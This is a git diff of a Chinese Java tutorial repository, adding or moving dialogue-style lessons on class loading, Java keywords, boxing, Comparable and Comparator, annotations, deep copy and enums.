+加载类顺序:BootstrapClassLoader->ExtensionClassLoader->AppClassLoader->CustomClassLoader 检查类是否加载顺序: CustomClassLoader->AppClassLoader->ExtensionClassLoader->BootstrapClassLoader + +### 双亲委派机制的优点 +- 避免类的重复加载。相同的类被不同的类加载器加载会产生不同的类,双亲委派保证了Java程序的稳定运行。 +- 保证核心API不被修改。 +- 如何破坏双亲委派机制 +- 重载loadClass()方法,即自定义类加载器。 + +### 如何构建自定义类加载器 +新建自定义类继承自java.lang.ClassLoader,重写findClass、loadClass、defineClass方法 + +### JVM常见调优参数 + +- -Xms 初始堆大小 +- -Xmx 最大堆大小 +- -XX:NewSize 年轻代大小 +- -XX:MaxNewSize 年轻代最大值 +- -XX:PermSize 永生代初始值 +- -XX:MaxPermSize 永生代最大值 +- -XX:NewRatio 新生代与老年代的比例 + +---- + + +作者:后端技术小牛说 +链接:https://mp.weixin.qq.com/s/2cLVDLcOQTdV4BGAv1XEuw diff --git a/docs/basic-extra-meal/48-keywords.md b/docs/basic-extra-meal/48-keywords.md new file mode 100644 index 0000000000..170e3ab9f0 --- /dev/null +++ b/docs/basic-extra-meal/48-keywords.md @@ -0,0 +1,106 @@ +“二哥,就我之前学过的这些 Java 代码中,有 public、static、void、main 等等,它们应该都是关键字吧?”三妹的脸上泛着甜甜的笑容,我想她在学习 Java 方面已经变得越来越自信了。 + +“是的,三妹。Java 中的关键字可不少呢!你一下子可能记不了那么多,不过,先保留个印象吧,对以后的学习会很有帮助。” + +PS:按照首字母的自然顺序排列。 + +1. **abstract:** 用于声明抽象类,以及抽象方法。 + +2. **boolean:** 用于将变量声明为布尔值类型,只有 true 和 false 两个值。 + +3. **break:** 用于中断循环或 switch 语句。 + +4. **byte:** 用于声明一个可以容纳 8 个比特的变量。 + +5. **case:** 用于在 switch 语句中标记条件的值。 + +6. **catch:** 用于捕获 try 语句中的异常。 + +7. **char:** 用于声明一个可以容纳无符号 16 位比特的 [Unicode 字符](https://mp.weixin.qq.com/s/pNQjlXOivIgO3pbYc0GnpA)的变量。 + +8. **class:** 用于声明一个类。 + +9. **continue:** 用于继续下一个循环,可以在指定条件下跳过其余代码。 + +10. **default:** 用于指定 switch 语句中除去 case 条件之外的默认代码块。 + +11. **do:** 通常和 while 关键字配合使用,do 后紧跟循环体。 + +12. **double:** 用于声明一个可以容纳 64 位浮点数的变量。 + +13. **else:** 用于指示 if 语句中的备用分支。 + +14. **enum:** 用于定义一组固定的常量(枚举)。 + +15. **extends:** 用于指示一个类是从另一个类或接口继承的。 + +16. **final:** 用于指示该变量是不可更改的。 + +17. **finally:** 和 `try-catch` 配合使用,表示无论是否处理异常,总是执行 finally 块中的代码。 + +18. **float:** 用于声明一个可以容纳 32 位浮点数的变量。 + +19. **for:** 用于声明一个 for 循环,如果循环次数是固定的,建议使用 for 循环。 + +20. **if:** 用于指定条件,如果条件为真,则执行对应代码。 + +21. **implements:** 用于实现接口。 + +22. **import:** 用于导入对应的类或者接口。 + +23. **instanceof:** 用于判断对象是否属于某个类型(class)。 + +24. **int:** 用于声明一个可以容纳 32 位带符号的整数变量。 + +25. **interface:** 用于声明接口。 + +26. **long:** 用于声明一个可以容纳 64 位整数的变量。 + +27. **native:** 用于指定一个方法是通过调用本机接口(非 Java)实现的。 + +28. **new:** 用于创建一个新的对象。 + +29. **null:** 如果一个变量是空的(什么引用也没有指向),就可以将它赋值为 null,和空指针异常息息相关。 + +30. **package:** 用于声明类所在的包。 + +31. **private:** 一个访问权限修饰符,表示方法或变量只对当前类可见。 + +32. **protected:** 一个访问权限修饰符,表示方法或变量对同一包内的类和所有子类可见。 + +33. **public:** 一个访问权限修饰符,除了可以声明方法和变量(所有类可见),还可以声明类。`main()` 方法必须声明为 public。 + +34. **return:** 用于在代码执行完成后返回(一个值)。 + +35. **short:** 用于声明一个可以容纳 16 位整数的变量。 + +36. **static:** 表示该变量或方法是静态变量或静态方法。 + +37. **strictfp:** 并不常见,通常用于修饰一个方法,确保方法体内的浮点数运算在每个平台上执行的结果相同。 + +38. **super:** 可用于调用父类的方法或者字段。 + +39. **switch:** 通常用于三个(以上)的条件判断。 + +40. **synchronized:** 用于指定多线程代码中的同步方法、变量或者代码块。 + +41. **this:** 可用于在方法或构造函数中引用当前对象。 + +42. **throw:** 主动抛出异常。 + +43. **throws:** 用于声明异常。 + +44. **transient:** 修饰的字段不会被序列化。 + +45. **try:** 于包裹要捕获异常的代码块。 + +46. **void:** 用于指定方法没有返回值。 + +47. **volatile:** 保证不同线程对它修饰的变量进行操作时的可见性,即一个线程修改了某个变量的值,新值对其他线程来说是立即可见的。 + +48. **while:** 如果循环次数不固定,建议使用 while 循环。 + + +“好了,三妹,关于 Java 中的关键字就先说这 48 个吧,这只是一个大概的介绍,后面还会对一些特殊的关键字单独拎出来详细地讲,比如说重要的 static、final 等。”转动了一下僵硬的脖子后,我对三妹说。 + +“二哥,你辛苦了,足足 48 个啊,容我好好消化一下。” \ No newline at end of file diff --git a/docs/src/basic-extra-meal/annotation.md b/docs/basic-extra-meal/annotation.md similarity index 83% rename from docs/src/basic-extra-meal/annotation.md rename to docs/basic-extra-meal/annotation.md index 829a06f6d1..822c46b7b6 100644 --- a/docs/src/basic-extra-meal/annotation.md +++ b/docs/basic-extra-meal/annotation.md @@ -1,24 +1,10 @@ ---- -title: Java注解,请别小看我。 -shortTitle: Java注解 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文深入探讨了Java注解的概念、分类及其在实际项目中的应用。通过详细的示例和解释,帮助读者更好地理解和掌握Java注解技术,学会如何自定义注解以及在实际开发中灵活运用,提升代码的可读性和可维护性。 -head: - - - meta - - name: keywords - content: Java,注解,annotation,java 注解,java annotation ---- - “二哥,这节讲注解吗?”三妹问。 -“是的。”我说,“注解是 Java 中非常重要的一部分,但经常被忽视也是真的。之所以这么说是因为我们更倾向成为一名注解的使用者而不是创建者。`@Override` 注解用过吧?[方法重写](https://javabetter.cn/basic-extra-meal/override-overload.html)的时候用到过。但你知道怎么自定义一个注解吗?” +“是的。”我说,“注解是 Java 中非常重要的一部分,但经常被忽视也是真的。之所以这么说是因为我们更倾向成为一名注解的使用者而不是创建者。`@Override` 注解用过吧?但你知道怎么自定义一个注解吗?” 三妹毫不犹豫地摇摇头,摆摆手,不好意思地承认自己的确没有自定义过。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/annotation/annotation-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/annotation/annotation-01.png) “好吧,哥来告诉你吧。” @@ -37,7 +23,7 @@ public class AutowiredTest { } ``` -注意到 `@Autowired` 这个注解了吧?它本来是为 Spring(后面会讲)容器注入 Bean 的,现在被我无情地扔在了字段 name 的身上,但这段代码所在的项目中并没有启用 Spring,意味着 `@Autowired` 注解此时只是一个摆设。 +注意到 `@Autowired` 这个注解了吧?它本来是为 Spring 容器注入 Bean 的,现在被我无情地扔在了字段 name 的身上,但这段代码所在的项目中并没有启用 Spring,意味着 `@Autowired` 注解此时只是一个摆设。 “既然只是个摆设,那你这个地方为什么还要用 `@Autowired` 呢?”三妹好奇地问。 @@ -230,11 +216,8 @@ public class JsonFieldTest { “嗯,你好好复习下,我看会《编译原理》。”说完我拿起桌子边上的一本书就走了。 ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - +----- -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/basic-extra-meal/box.md b/docs/basic-extra-meal/box.md new file mode 100644 index 0000000000..058f04b37f --- /dev/null +++ b/docs/basic-extra-meal/box.md @@ -0,0 +1,253 @@ + + +“哥,听说 Java 的每个基本类型都对应了一个包装类型,比如说 int 的包装类型为 Integer,double 的包装类型为 Double,是这样吗?”从三妹这句话当中,能听得出来,她已经提前预习这块内容了。 + +“是的,三妹。基本类型和包装类型的区别主要有以下 4 点,我来带你学习一下。”我回答说。我们家的斜对面刚好是一所小学,所以时不时还能听到朗朗的读书声,让人心情非常愉快。 + +“三妹,你准备好了吗?我们开始吧。” + +“第一,**包装类型可以为 null,而基本类型不可以**。别小看这一点区别,它使得包装类型可以应用于 POJO 中,而基本类型则不行。” + +“POJO 是什么呢?”遇到不会的就问,三妹在这一点上还是非常兢兢业业的。 + +“POJO 的英文全称是 Plain Ordinary Java Object,翻译一下就是,简单无规则的 Java 对象,只有字段以及对应的 setter 和 getter 方法。” + +```java +class Writer { + private Integer age; + private String name; + + public Integer getAge() { + return age; + } + + public void setAge(Integer age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } +} +``` + +和 POJO 类似的,还有数据传输对象 DTO(Data Transfer Object,泛指用于展示层与服务层之间的数据传输对象)、视图对象 VO(View Object,把某个页面的数据封装起来)、持久化对象 PO(Persistant Object,可以看成是与数据库中的表映射的 Java 对象)。 + +“那为什么 POJO 的字段必须要用包装类型呢?”三妹问。 + +“《阿里巴巴 Java 开发手册》上有详细的说明,你看。”我打开 PDF,并翻到了对应的内容,指着屏幕念道。 + +>数据库的查询结果可能是 null,如果使用基本类型的话,因为要自动拆箱,就会抛出 NullPointerException 的异常。 + +“什么是自动拆箱呢?” + +“自动拆箱指的是,将包装类型转为基本类型,比如说把 Integer 对象转换成 int 值;对应的,把基本类型转为包装类型,则称为自动装箱。” + +“哦。” + +“那接下来,我们来看第二点不同。**包装类型可用于泛型,而基本类型不可以**,否则就会出现编译错误。”一边说着,我一边在 Intellij IDEA 中噼里啪啦地敲了起来。 + +“三妹,你瞧,编译器提示错误了。” + +```java +List list = new ArrayList<>(); // 提示 Syntax error, insert "Dimensions" to complete ReferenceType +List list = new ArrayList<>(); +``` + +“为什么呢?”三妹及时地问道。 + +“因为泛型在编译时会进行类型擦除,最后只保留原始类型,而原始类型只能是 Object 类及其子类——基本类型是个例外。” + +“那,接下来,我们来说第三点,**基本类型比包装类型更高效**。”我喝了一口茶继续说道。 + +“作为局部变量时,基本类型在栈中直接存储的具体数值,而包装类型则存储的是堆中的引用。”我一边说着,一边打开 `draw.io` 画起了图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/box-01.png) + +很显然,相比较于基本类型而言,包装类型需要占用更多的内存空间,不仅要存储对象,还要存储引用。假如没有基本类型的话,对于数值这类经常使用到的数据来说,每次都要通过 new 一个包装类型就显得非常笨重。 + +“三妹,你想知道程序运行时,数据都存储在什么地方吗?” + +“嗯嗯,哥,你说说呗。” + +“通常来说,有 4 个地方可以用来存储数据。” + +1)寄存器。这是最快的存储区,因为它位于 CPU 内部,用来暂时存放参与运算的数据和运算结果。 + +2)栈。位于 RAM(Random Access Memory,也叫主存,与 CPU 直接交换数据的内部存储器)中,速度仅次于寄存器。但是,在分配内存的时候,存放在栈中的数据大小与生存周期必须在编译时是确定的,缺乏灵活性。基本数据类型的值和对象的引用通常存储在这块区域。 + +3)堆。也位于 RAM 区,可以动态分配内存大小,编译器不必知道要从堆里分配多少存储空间,生存周期也不必事先告诉编译器,Java 的垃圾收集器会自动收走不再使用的数据,因此可以得到更大的灵活性。但是,运行时动态分配内存和销毁对象都需要占用时间,所以效率比栈低一些。new 创建的对象都会存储在这块区域。 + +4)磁盘。如果数据完全存储在程序之外,就可以不受程序的限制,在程序没有运行时也可以存在。像文件、数据库,就是通过持久化的方式,让对象存放在磁盘上。当需要的时候,再反序列化成程序可以识别的对象。 + +“能明白吗?三妹?” + +“这节讲完后,我再好好消化一下。” + +“那好,我们来说第四点,**两个包装类型的值可以相同,但却不相等**。” + +```java +Integer chenmo = new Integer(10); +Integer wanger = new Integer(10); + +System.out.println(chenmo == wanger); // false +System.out.println(chenmo.equals(wanger )); // true +``` + +“两个包装类型在使用“==”进行判断的时候,判断的是其指向的地址是否相等,由于是两个对象,所以地址是不同的。” + +“而 chenmo.equals(wanger) 的输出结果为 true,是因为 equals() 方法内部比较的是两个 int 值是否相等。” + +```java +private final int value; + +public int intValue() { + return value; +} +public boolean equals(Object obj) { + if (obj instanceof Integer) { + return value == ((Integer)obj).intValue(); + } + return false; +} +``` + +虽然 chenmo 和 wanger 的值都是 10,但他们并不相等。换句话说就是:将“==”操作符应用于包装类型比较的时候,其结果很可能会和预期的不符。 + +“三妹,瞧,`((Integer)obj).intValue()` 这段代码就是用来自动拆箱的。下面,我们来详细地说一说自动装箱和自动拆箱。” + +既然有基本类型和包装类型,肯定有些时候要在它们之间进行转换。把基本类型转换成包装类型的过程叫做装箱(boxing)。反之,把包装类型转换成基本类型的过程叫做拆箱(unboxing)。 + +在 Java 1.5 之前,开发人员要手动进行装拆箱,比如说: + +```java +Integer chenmo = new Integer(10); // 手动装箱 +int wanger = chenmo.intValue(); // 手动拆箱 +``` + +Java 1.5 为了减少开发人员的工作,提供了自动装箱与自动拆箱的功能。这下就方便了。 + +```jav +Integer chenmo = 10; // 自动装箱 +int wanger = chenmo; // 自动拆箱 +``` + +来看一下反编译后的代码。 + +```java +Integer chenmo = Integer.valueOf(10); +int wanger = chenmo.intValue(); +``` + +也就是说,自动装箱是通过 `Integer.valueOf()` 完成的;自动拆箱是通过 `Integer.intValue()` 完成的。 + +“嗯,三妹,给你出一道面试题吧。” + +```java +// 1)基本类型和包装类型 +int a = 100; +Integer b = 100; +System.out.println(a == b); + +// 2)两个包装类型 +Integer c = 100; +Integer d = 100; +System.out.println(c == d); + +// 3) +c = 200; +d = 200; +System.out.println(c == d); +``` + +“给你 3 分钟时间,你先思考下,我去抽根华子,等我回来,然后再来分析一下为什么。” + +。。。。。。 + +“嗯,哥,你过来吧,我说一说我的想法。” + +第一段代码,基本类型和包装类型进行 == 比较,这时候 b 会自动拆箱,直接和 a 比较值,所以结果为 true。 + +第二段代码,两个包装类型都被赋值为了 100,这时候会进行自动装箱,按照你之前说的,将“==”操作符应用于包装类型比较的时候,其结果很可能会和预期的不符,我想结果可能为 false。 + +第三段代码,两个包装类型重新被赋值为了 200,这时候仍然会进行自动装箱,我想结果仍然为 false。 + +“嗯嗯,三妹,你分析的很有逻辑,但第二段代码的结果为 true,是不是感到很奇怪?” + +“为什么会这样呀?”三妹急切地问。 + +“你说的没错,自动装箱是通过 Integer.valueOf() 完成的,我们来看看这个方法的源码就明白为什么了。” + +```java +public static Integer valueOf(int i) { + if (i >= IntegerCache.low && i <= IntegerCache.high) + return IntegerCache.cache[i + (-IntegerCache.low)]; + return new Integer(i); +} +``` + +是不是看到了一个之前从来没见过的类——IntegerCache? + +“难道说是 Integer 的缓存类?”三妹做出了自己的判断。 + +“是的,来看一下 IntegerCache 的源码吧。” + +```java +private static class IntegerCache { + static final int low = -128; + static final int high; + static final Integer cache[]; + + static { + // high value may be configured by property + int h = 127; + int i = parseInt(integerCacheHighPropValue); + i = Math.max(i, 127); + h = Math.min(i, Integer.MAX_VALUE - (-low) -1); + high = h; + + cache = new Integer[(high - low) + 1]; + int j = low; + for(int k = 0; k < cache.length; k++) + cache[k] = new Integer(j++); + + // range [-128, 127] must be interned (JLS7 5.1.7) + assert IntegerCache.high >= 127; + } +} +``` + +大致瞟一下这段代码你就全明白了。-128 到 127 之间的数会从 IntegerCache 中取,然后比较,所以第二段代码(100 在这个范围之内)的结果是 true,而第三段代码(200 不在这个范围之内,所以 new 出来了两个 Integer 对象)的结果是 false。 + +“三妹,看完上面的分析之后,我希望你记住一点:**当需要进行自动装箱时,如果数字在 -128 至 127 之间时,会直接使用缓存中的对象,而不是重新创建一个对象**。” + +“自动装拆箱是一个很好的功能,大大节省了我们开发人员的精力,但也会引发一些麻烦,比如下面这段代码,性能就很差。” + +```java +long t1 = System.currentTimeMillis(); +Long sum = 0L; +for (int i = 0; i < Integer.MAX_VALUE;i++) { + sum += i; +} +long t2 = System.currentTimeMillis(); +System.out.println(t2-t1); +``` + +“知道为什么吗?三妹。” + +“难道是因为 sum 被声明成了包装类型 Long 而不是基本类型 long。”三妹若有所思。 + +“是滴,由于 sum 是个 Long 型,而 i 为 int 类型,`sum += i` 在执行的时候,会先把 i 强转为 long 型,然后再把 sum 拆箱为 long 型进行相加操作,之后再自动装箱为 Long 型赋值给 sum。” + +“三妹,你可以试一下,把 sum 换成 long 型比较一下它们运行的时间。” + +。。。。。。 + +“哇,sum 为 Long 型的时候,足足运行了 5825 毫秒;sum 为 long 型的时候,只需要 679 毫秒。” + +“好了,三妹,今天的主题就先讲到这吧。我再去来根华子。” + diff --git a/docs/basic-extra-meal/comparable-omparator.md b/docs/basic-extra-meal/comparable-omparator.md new file mode 100644 index 0000000000..31849b873e --- /dev/null +++ b/docs/basic-extra-meal/comparable-omparator.md @@ -0,0 +1,168 @@ + + +那天,小二去马蜂窝面试,面试官老王一上来就甩给了他一道面试题:请问Comparable和Comparator有什么区别?小二差点笑出声,因为三年前,也就是 2021 年,他在《Java 程序员进阶之路》专栏上看到过这题😆。 + +*PS:星标这种事,只能求,不求没效果,come on。《Java 程序员进阶之路》在 GitHub 上已经收获了 565 枚星标,小伙伴们赶紧去点点了,冲 600*! + +>https://github.com/itwanger/toBeBetterJavaer + +Comparable 和 Comparator 是 Java 的两个接口,从名字上我们就能够读出来它们俩的相似性:以某种方式来比较两个对象。但它们之间到底有什么区别呢?请随我来,打怪进阶喽! + +### 01、Comparable + +Comparable 接口的定义非常简单,源码如下所示。 + +```java +public interface Comparable { + int compareTo(T t); +} +``` + +如果一个类实现了 Comparable 接口(只需要干一件事,重写 `compareTo()` 方法),就可以按照自己制定的规则将由它创建的对象进行比较。下面给出一个例子。 + +```java +public class Cmower implements Comparable { + private int age; + private String name; + + public Cmower(int age, String name) { + this.age = age; + this.name = name; + } + + @Override + public int compareTo(Cmower o) { + return this.getAge() - o.getAge(); + } + + public static void main(String[] args) { + Cmower wanger = new Cmower(19,"沉默王二"); + Cmower wangsan = new Cmower(16,"沉默王三"); + + if (wanger.compareTo(wangsan) < 0) { + System.out.println(wanger.getName() + "比较年轻有为"); + } else { + System.out.println(wangsan.getName() + "比较年轻有为"); + } + } +} +``` + +在上面的示例中,我创建了一个 Cmower 类,它有两个字段:age 和 name。Cmower 类实现了 Comparable 接口,并重写了 `compareTo()` 方法。 + + +程序输出的结果是“沉默王三比较年轻有为”,因为他比沉默王二小三岁。这个结果有什么凭证吗? + +凭证就在于 `compareTo()` 方法,该方法的返回值可能为负数,零或者正数,代表的意思是该对象按照排序的规则小于、等于或者大于要比较的对象。如果指定对象的类型与此对象不能进行比较,则引发 `ClassCastException` 异常(自从有了泛型,这种情况就少有发生了)。 + +### 02、Comparator + +Comparator 接口的定义相比较于 Comparable 就复杂的多了,不过,核心的方法只有两个,来看一下源码。 + +```java +public interface Comparator { + int compare(T o1, T o2); + boolean equals(Object obj); +} +``` + +第一个方法 `compare(T o1, T o2)` 的返回值可能为负数,零或者正数,代表的意思是第一个对象小于、等于或者大于第二个对象。 + +第二个方法 `equals(Object obj)` 需要传入一个 Object 作为参数,并判断该 Object 是否和 Comparator 保持一致。 + +有时候,我们想让类保持它的原貌,不想主动实现 Comparable 接口,但我们又需要它们之间进行比较,该怎么办呢? + +Comparator 就派上用场了,来看一下示例。 + +1)原封不动的 Cmower 类。 + +```java +public class Cmower { + private int age; + private String name; + + public Cmower(int age, String name) { + this.age = age; + this.name = name; + } +} +``` + +(说好原封不动,getter/setter 吃了啊) + +Cmower 类有两个字段:age 和 name,意味着该类可以按照 age 或者 name 进行排序。 + +2)再来看 Comparator 接口的实现类。 + +```java +public class CmowerComparator implements Comparator { + @Override + public int compare(Cmower o1, Cmower o2) { + return o1.getAge() - o2.getAge(); + } +} +``` + +按照 age 进行比较。当然也可以再实现一个比较器,按照 name 进行自然排序,示例如下。 + +```java +public class CmowerNameComparator implements Comparator { + @Override + public int compare(Cmower o1, Cmower o2) { + if (o1.getName().hashCode() < o2.getName().hashCode()) { + return -1; + } else if (o1.getName().hashCode() == o2.getName().hashCode()) { + return 0; + } + return 1; + } +} +``` + +3)再来看测试类。 + +```java +Cmower wanger = new Cmower(19,"沉默王二"); +Cmower wangsan = new Cmower(16,"沉默王三"); +Cmower wangyi = new Cmower(28,"沉默王一"); + +List list = new ArrayList<>(); +list.add(wanger); +list.add(wangsan); +list.add(wangyi); + +list.sort(new CmowerComparator()); + +for (Cmower c : list) { + System.out.println(c.getName()); +} +``` + +创建了三个对象,age 不同,name 不同,并把它们加入到了 List 当中。然后使用 List 的 `sort()` 方法进行排序,来看一下输出的结果。 + +``` +沉默王三 +沉默王二 +沉默王一 +``` + +这意味着沉默王三的年纪比沉默王二小,排在第一位;沉默王一的年纪比沉默王二大,排在第三位。和我们的预期完全符合。 + +### 03、到底该用哪一个呢? + +通过上面的两个例子可以比较出 Comparable 和 Comparator 两者之间的区别: + +- 一个类实现了 Comparable 接口,意味着该类的对象可以直接进行比较(排序),但比较(排序)的方式只有一种,很单一。 +- 一个类如果想要保持原样,又需要进行不同方式的比较(排序),就可以定制比较器(实现 Comparator 接口)。 +- Comparable 接口在 `java.lang` 包下,而 `Comparator` 接口在 `java.util` 包下,算不上是亲兄弟,但可以称得上是表(堂)兄弟。 + +举个不恰当的例子。我想从洛阳出发去北京看长城,体验一下好汉的感觉,要么坐飞机,要么坐高铁;但如果是孙悟空的话,翻个筋斗就到了。我和孙悟空之间有什么区别呢?孙悟空自己实现了 Comparable 接口(他那年代也没有飞机和高铁,没得选),而我可以借助 Comparator 接口(现代化的交通工具)。 + + + + + +------ + + +好了,关于 Comparable 和 Comparator 我们就先聊这么多。总而言之,如果对象的排序需要基于自然顺序,请选择 `Comparable`,如果需要按照对象的不同属性进行排序,请选择 `Comparator`。 \ No newline at end of file diff --git a/docs/src/basic-extra-meal/deep-copy.md b/docs/basic-extra-meal/deep-copy.md similarity index 83% rename from docs/src/basic-extra-meal/deep-copy.md rename to docs/basic-extra-meal/deep-copy.md index f5e662fa53..5013062a70 100644 --- a/docs/src/basic-extra-meal/deep-copy.md +++ b/docs/basic-extra-meal/deep-copy.md @@ -1,31 +1,17 @@ ---- -title: 深入理解Java浅拷贝与深拷贝 -shortTitle: 深入理解Java浅拷贝与深拷贝 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文详细讨论了Java中的浅拷贝和深拷贝概念,解析了它们如何在实际编程中应用。文章通过实例演示了如何实现浅拷贝与深拷贝,以帮助读者更好地理解这两种拷贝方式在Java编程中的作用与应用场景。 -author: 沉默王二 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,深拷贝,浅拷贝 ---- + “哥,听说浅拷贝和深拷贝是 Java 面试中经常会被问到的一个问题,是这样吗?” -“还真的是,而且了解浅拷贝和深拷贝的原理,对 [Java 是值传递还是引用传递](https://javabetter.cn/basic-extra-meal/pass-by-value.html)也会有更深的理解。”我肯定地回答。 +“还真的是,而且了解浅拷贝和深拷贝的原理,对 Java 是值传递还是引用传递也会有更深的理解。”我肯定地回答。 “不管是浅拷贝还是深拷贝,都可以通过调用 Object 类的 `clone()` 方法来完成。”我一边说,一边打开 Intellij IDEA,并找到了 `clone()` 方法的源码。 ```java +@HotSpotIntrinsicCandidate protected native Object clone() throws CloneNotSupportedException; ``` -需要注意的是,`clone()` 方法同时是一个本地(`native`)方法,它的具体实现会交给 HotSpot 虚拟机,那就意味着虚拟机在运行该方法的时候,会将其替换为更高效的 C/C++ 代码,进而调用操作系统去完成对象的克隆工作。 - ->Java 9 后,该方法会被标注 `@HotSpotIntrinsicCandidate` 注解,被该注解标注的方法,在 HotSpot 虚拟机中会有一套高效的实现。 +其中 `@HotSpotIntrinsicCandidate` 是 Java 9 引入的一个注解,被它标注的方法,在 HotSpot 虚拟机中会有一套高效的实现。需要注意的是,`clone()` 方法同时是一个本地(`native`)方法,它的具体实现会交给 HotSpot 虚拟机,那就意味着虚拟机在运行该方法的时候,会将其替换为更高效的 C/C++ 代码,进而调用操作系统去完成对象的克隆工作。 “哥,那你就先说浅拷贝吧!” @@ -45,12 +31,21 @@ class Writer implements Cloneable{ ", name='" + name + '\'' + '}'; } + + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } } ``` -Writer 类有两个字段,分别是 int 类型的 age,和 String 类型的 name。然后重写了 `toString()` 方法,方便打印对象的具体信息。 +Writer 类有两个字段,分别是 int 类型的 age,和 String 类型的 name。然后重写了 `toString()` 方法,方便打印对象的具体信息。并且重写了 `clone()` 方法,方法体里面也很简单,直接调用 Object 类的 `clone()` 方法。 + +“既然 Writer 类的 `clone()` 方法体里只有一行代码,调用的还是超类 Object 的 `clone()` 方法?为什么还要重写呢?不是多此一举吗?”三妹着急地问。 -“为什么要实现 Cloneable 接口呢?”三妹开启了十万个为什么的模式。 +“嗯,是这样的,三妹。Object 类中的 `clone()` 方法是 protected 的,如果 Writer 类不去重写的话,Writer 类的对象是无法调用 `clone()` 方法的,因为 protected 修饰的方法对子类并不可见。” + +“哦哦,那为什么要实现 Cloneable 接口呢?”三妹开启了十万个为什么的模式。 Cloneable 接口是一个标记接口,它肚子里面是空的: @@ -109,7 +104,7 @@ writer2:Writer@b97c004{age=18, name='三妹'} 可以看得出,浅拷贝后,writer1 和 writer2 引用了不同的对象,但值是相同的,说明拷贝成功。之后,修改了 writer2 的 name 字段,直接上图就明白了。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/deep-copy-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/deep-copy-01.png) 之前的例子中,Writer 类只有两个字段,没有引用类型字段。那么,我们再来看另外一个例子,为 Writer 类增加一个自定义的引用类型字段 Book,先来看 Book 的定义。 @@ -208,7 +203,7 @@ writer2:Writer@36d4b5c age=18, name='二哥', book=Book@32e6e9c3 bookName='永 与之前例子不同的是,writer2.book 变更后,writer1.book 也发生了改变。这是因为字符串 String 是不可变对象,一个新的值必须在字符串常量池中开辟一段新的内存空间,而自定义对象的内存地址并没有发生改变,只是对应的字段值发生了改变,见下图。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/deep-copy-02.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/deep-copy-02.png) “哇,哥,果真一图胜千言,我明白了。”三妹似乎对我画的图很感兴趣呢,“那你继续说深拷贝吧!” @@ -309,15 +304,15 @@ writer2:Writer@6d00a15d age=18, name='二哥', book=Book@51efea79 bookName=' 不只是 writer1 和 writer2 是不同的对象,它们中的 book 也是不同的对象。所以,改变了 writer2 中的 book 并不会影响到 writer1。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/deep-copy-03.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/deep-copy-03.png) 不过,通过 `clone()` 方法实现的深拷贝比较笨重,因为要将所有的引用类型都重写 `clone()` 方法,当嵌套的对象比较多的时候,就废了! “那有没有好的办法呢?”三妹急切的问。 -“当然有了,利用[序列化](https://javabetter.cn/io/serialize.html)。”我胸有成竹的回答,“序列化是将对象写到流中便于传输,而反序列化则是将对象从流中读取出来。” +“当然有了,利用序列化。”我胸有成竹的回答,“序列化是将对象写到流中便于传输,而反序列化则是将对象从流中读取出来。” -“写入流中的对象就是对原始对象的拷贝。需要注意的是,每个要序列化的类都要实现 [Serializable 接口](https://javabetter.cn/io/Serializbale.html),该接口和 Cloneable 接口类似,都是标记型接口。” +“写入流中的对象就是对原始对象的拷贝。需要注意的是,每个要序列化的类都要实现 Serializable 接口,该接口和 Cloneable 接口类似,都是标记型接口。” 来看例子。 @@ -420,13 +415,3 @@ writer2:Writer@544fe44c age=18, name='二哥', book=Book@31610302 bookName=' “好的,二哥,你先去休息吧,让我来琢磨一会,总结一下浅拷贝和深拷贝之间的差异。” “嗯嗯。” - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/basic-extra-meal/enum.md b/docs/basic-extra-meal/enum.md new file mode 100644 index 0000000000..d2e59ea6bd --- /dev/null +++ b/docs/basic-extra-meal/enum.md @@ -0,0 +1,289 @@ + + +“今天我们来学习枚举吧,三妹!”我说,“同学让你去她家玩了两天,感觉怎么样呀?” + +“心情放松了不少。”三妹说,“可以开始学 Java 了,二哥。” + +“OK。” + +“枚举(enum),是 Java 1.5 时引入的关键字,它表示一种特殊类型的类,继承自 java.lang.Enum。” + +“我们来新建一个枚举 PlayerType。” + +```java +public enum PlayerType { + TENNIS, + FOOTBALL, + BASKETBALL +} +``` + +“二哥,我没看到有继承关系呀!” + 